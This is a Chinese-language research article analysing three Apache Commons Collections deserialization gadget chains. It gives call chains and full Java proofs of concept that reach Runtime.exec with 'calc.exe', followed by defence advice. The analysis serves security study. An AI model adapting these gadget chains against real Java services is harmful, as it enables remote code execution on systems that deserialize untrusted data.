CC链之新利用链分析
字数 1681 2025-08-07 08:22:20

Apache Commons Collections 反序列化新利用链分析

0x00 前言

CC链(Apache Commons Collections Java反序列化利用链)是Java安全领域的重要研究课题。本文详细分析三种新的利用链:DualHashBidiMap、DualTreeBidiMap和DualLinkedHashBidiMap,这些利用链为CC链家族提供了新的攻击向量。

0x01 DualHashBidiMap利用链分析

利用原理

DualHashBidiMap利用链的核心在于其readObject方法中调用了putAll方法,而该方法会触发HashMap的containsKey方法,进而调用key.hashCode()

关键调用链

DualHashBidiMap.readObject()
  -> AbstractDualBidiMap.putAll()
    -> AbstractDualBidiMap.put()
      -> HashMap.containsKey()
        -> TiedMapEntry.hashCode()
          -> LazyMap.get()
            -> ChainedTransformer.transform()
              -> InvokerTransformer.transform()
                -> Runtime.exec()

POC构造

import org.apache.commons.collections.BidiMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class DualHashBidiMapExploit {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[] {String.class}, 
                new Object[] {"calc.exe"}),
            new ConstantTransformer(1)
        };
        
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        
        // 构造LazyMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "111");
        
        // 构造恶意Map
        Map<String, Object> expMap = new HashMap<String, Object>();
        expMap.put("222", tiedMapEntry);
        
        // 通过反射实例化DualHashBidiMap
        Class clazz = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
        Constructor constructor = clazz.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
        constructor.setAccessible(true);
        Object dualHashBidiMap = constructor.newInstance(expMap, null, null);
        
        // 序列化与反序列化触发
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(dualHashBidiMap);
        
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

关键点分析

  1. 序列化过程DualHashBidiMap.writeObject()方法会将this.maps[0]序列化
  2. 反序列化过程readObject()方法会调用putAll(this.maps[0])
  3. 利用链触发putAll()会遍历map元素并调用put(),最终触发TiedMapEntry.hashCode()

0x02 DualTreeBidiMap利用链分析

利用原理

DualTreeBidiMap利用链依赖于TreeMap的put方法中会调用comparator.compare()的特性。通过控制comparator为TransformingComparator对象实现命令执行。

版本限制

此利用链仅适用于Commons Collections 4.0版本,因为:

  • TransformingComparator类在4.0版本才实现Serializable接口
  • 4.0版本中LazyMap的实例化方式有变化

关键调用链

DualTreeBidiMap.readObject()
  -> AbstractDualBidiMap.putAll()
    -> AbstractDualBidiMap.put()
      -> TreeMap.put()
        -> TransformingComparator.compare()
          -> ChainedTransformer.transform()
            -> InvokerTransformer.transform()
              -> Runtime.exec()

POC构造

import org.apache.commons.collections4.*;
import org.apache.commons.collections4.bidimap.DualTreeBidiMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;
import java.io.*;
import java.lang.reflect.Field;

public class DualTreeBidiMapExploit {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[] {String.class}, 
                new Object[] {"calc.exe"}),
            new ConstantTransformer(1)
        };
        
        // 初始化为无害Transformer避免提前触发
        Transformer chainedTransformer = new ChainedTransformer(new ConstantTransformer(1));
        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        
        // 实例化DualTreeBidiMap并注入恶意comparator
        DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap(comparator, comparator);
        dualTreeBidiMap.put("demo", "demo");
        
        // 通过反射替换真正的恶意Transformer链
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        
        // 序列化与反序列化触发
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(dualTreeBidiMap);
        
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

关键点分析

  1. comparator控制:通过构造方法传入keyComparator控制TreeMap的比较器
  2. 延迟触发技巧:先使用无害Transformer构造,序列化前通过反射替换为恶意Transformer
  3. 必须添加元素putAll()需要map中有元素才会进入循环调用put()

0x03 DualLinkedHashBidiMap利用链分析

利用原理

DualLinkedHashBidiMap是Commons Collections 4.0新增的类,其利用方式与DualHashBidiMap类似,通过HashMap的containsKey触发。

关键调用链

DualLinkedHashBidiMap.readObject()
  -> AbstractDualBidiMap.putAll()
    -> AbstractDualBidiMap.put()
      -> HashMap.containsKey()
        -> TiedMapEntry.hashCode()
          -> LazyMap.get()
            -> ChainedTransformer.transform()
              -> InvokerTransformer.transform()
                -> Runtime.exec()

POC构造

import org.apache.commons.collections4.*;
import org.apache.commons.collections4.bidimap.DualLinkedHashBidiMap;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class DualLinkedHashBidiMapExploit {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[] {String.class}, 
                new Object[] {"calc.exe"}),
            new ConstantTransformer(1)
        };
        
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        
        // 构造LazyMap(4.0版本方式)
        Map innerMap = new HashMap();
        LazyMap lazyMap = LazyMap.lazyMap(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
        
        // 构造恶意Map
        Map expMap = new HashMap();
        expMap.put("222", tiedMapEntry);
        
        // 实例化并注入恶意normalMap
        DualLinkedHashBidiMap dualLinkedHashBidiMap = new DualLinkedHashBidiMap();
        Field field1 = dualLinkedHashBidiMap.getClass().getSuperclass()
                      .getDeclaredField("normalMap");
        field1.setAccessible(true);
        field1.set(dualLinkedHashBidiMap, expMap);
        
        // 序列化与反序列化触发
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(dualLinkedHashBidiMap);
        
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

关键点分析

  1. LazyMap变化:4.0版本中LazyMap不再通过decorate方法创建,而是使用静态方法lazyMap
  2. 反射注入:需要通过反射设置normalMap字段为恶意Map
  3. 利用链本质:与DualHashBidiMap类似,都是通过HashMap的containsKey触发

0x04 防御建议

  1. 升级Commons Collections

    • 升级到3.2.2或更高版本(3.x系列)
    • 升级到4.1或更高版本(4.x系列)
  2. JVM层防护

    • 使用JDK自带的安全管理器
    • 配置SerializationFilter过滤危险类
  3. 代码层面

    System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false");
    
  4. 反序列化防护

    • 使用白名单机制限制可反序列化的类
    • 使用安全的反序列化库如Jackson、Gson等替代Java原生序列化

0x05 总结

本文详细分析了三种新的CC链利用方式:

  1. DualHashBidiMap:通过HashMap的containsKey触发,适用于3.x版本
  2. DualTreeBidiMap:通过TreeMap的comparator触发,仅适用于4.0版本
  3. DualLinkedHashBidiMap:4.0新增类,利用方式类似DualHashBidiMap

这些利用链再次证明了反序列化漏洞的多样性和危险性,安全防护需要从多个层面进行综合考虑。

Apache Commons Collections 反序列化新利用链分析 0x00 前言 CC链(Apache Commons Collections Java反序列化利用链)是Java安全领域的重要研究课题。本文详细分析三种新的利用链:DualHashBidiMap、DualTreeBidiMap和DualLinkedHashBidiMap,这些利用链为CC链家族提供了新的攻击向量。 0x01 DualHashBidiMap利用链分析 利用原理 DualHashBidiMap利用链的核心在于其 readObject 方法中调用了 putAll 方法,而该方法会触发HashMap的 containsKey 方法,进而调用 key.hashCode() 。 关键调用链 POC构造 关键点分析 序列化过程 : DualHashBidiMap.writeObject() 方法会将 this.maps[0] 序列化 反序列化过程 : readObject() 方法会调用 putAll(this.maps[0]) 利用链触发 : putAll() 会遍历map元素并调用 put() ,最终触发 TiedMapEntry.hashCode() 0x02 DualTreeBidiMap利用链分析 利用原理 DualTreeBidiMap利用链依赖于TreeMap的 put 方法中会调用 comparator.compare() 的特性。通过控制comparator为 TransformingComparator 对象实现命令执行。 版本限制 此利用链 仅适用于Commons Collections 4.0版本 ,因为: TransformingComparator 类在4.0版本才实现 Serializable 接口 4.0版本中 LazyMap 的实例化方式有变化 关键调用链 POC构造 关键点分析 comparator控制 :通过构造方法传入 keyComparator 控制TreeMap的比较器 延迟触发技巧 :先使用无害Transformer构造,序列化前通过反射替换为恶意Transformer 必须添加元素 : putAll() 需要map中有元素才会进入循环调用 put() 0x03 DualLinkedHashBidiMap利用链分析 利用原理 DualLinkedHashBidiMap是Commons Collections 4.0新增的类,其利用方式与DualHashBidiMap类似,通过HashMap的 containsKey 触发。 关键调用链 POC构造 关键点分析 LazyMap变化 :4.0版本中 LazyMap 不再通过 decorate 方法创建,而是使用静态方法 lazyMap 反射注入 :需要通过反射设置 normalMap 字段为恶意Map 利用链本质 :与DualHashBidiMap类似,都是通过HashMap的 containsKey 触发 0x04 防御建议 升级Commons Collections : 升级到3.2.2或更高版本(3.x系列) 升级到4.1或更高版本(4.x系列) JVM层防护 : 使用JDK自带的安全管理器 配置 SerializationFilter 过滤危险类 代码层面 : 反序列化防护 : 使用白名单机制限制可反序列化的类 使用安全的反序列化库如Jackson、Gson等替代Java原生序列化 0x05 总结 本文详细分析了三种新的CC链利用方式: DualHashBidiMap :通过HashMap的 containsKey 触发,适用于3.x版本 DualTreeBidiMap :通过TreeMap的comparator触发,仅适用于4.0版本 DualLinkedHashBidiMap :4.0新增类,利用方式类似DualHashBidiMap 这些利用链再次证明了反序列化漏洞的多样性和危险性,安全防护需要从多个层面进行综合考虑。